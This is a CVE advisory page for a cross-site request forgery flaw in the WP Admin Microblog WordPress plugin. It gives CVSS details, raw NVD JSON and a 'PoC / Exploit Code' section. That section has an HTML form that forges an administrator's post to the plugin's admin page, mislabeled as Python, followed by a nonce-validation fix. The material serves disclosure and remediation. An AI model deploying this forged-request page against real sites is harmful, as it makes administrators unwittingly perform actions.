Security Vulnerability Report
中文
CVE-2025-12173 CVSS 4.3 MEDIUM

CVE-2025-12173

Published: 2025-11-18 09:15:48
Last Modified: 2026-04-15 00:35:42

Description

The WP Admin Microblog plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.1. This is due to missing or incorrect nonce validation on the 'wp-admin-microblog' page. This makes it possible for unauthenticated attackers to send messages on behalf of an administrator via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Admin Microblog <= 3.1.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12173 --> <!-- This PoC demonstrates how an attacker can force an admin to send a message --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-12173</title> </head> <body> <h1>CVE-2025-12173 CSRF Attack PoC</h1> <p>Click the button below to send a forged message as admin:</p> <form action="http://target-site/wp-admin/admin.php?page=wp-admin-microblog" method="POST" id="csrfForm"> <!-- Fake message data --> <input type="hidden" name="action" value="save"> <input type="hidden" name="message" value="Malicious message from CSRF attack"> <input type="hidden" name="category" value="1"> <input type="hidden" name="submit" value="Publish"> </form> <button type="submit" form="csrfForm">Click me (Attack)</button> <script> // Auto-submit on page load (for demonstration) // document.getElementById('csrfForm').submit(); </script> <p><strong>Note:</strong> For this attack to work, the admin must be logged in and click the button.</p> <p><strong>Remediation:</strong> Add proper nonce validation in the plugin code:</p> <pre> // Add this check before processing the form: if (!isset($_POST['wp_admin_microblog_nonce']) || !wp_verify_nonce($_POST['wp_admin_microblog_nonce'], 'wp_admin_microblog_action')) { wp_die('Security check failed'); } </pre> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12173", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:47.717", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Admin Microblog plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.1. This is due to missing or incorrect nonce validation on the 'wp-admin-microblog' page. This makes it possible for unauthenticated attackers to send messages on behalf of an administrator via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://wordpress.org/plugins/wp-admin-microblog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c26a76d-a104-4ea6-be9f-9e8dfc3b5cd5?source=cve", "source": "[email protected]"}]}}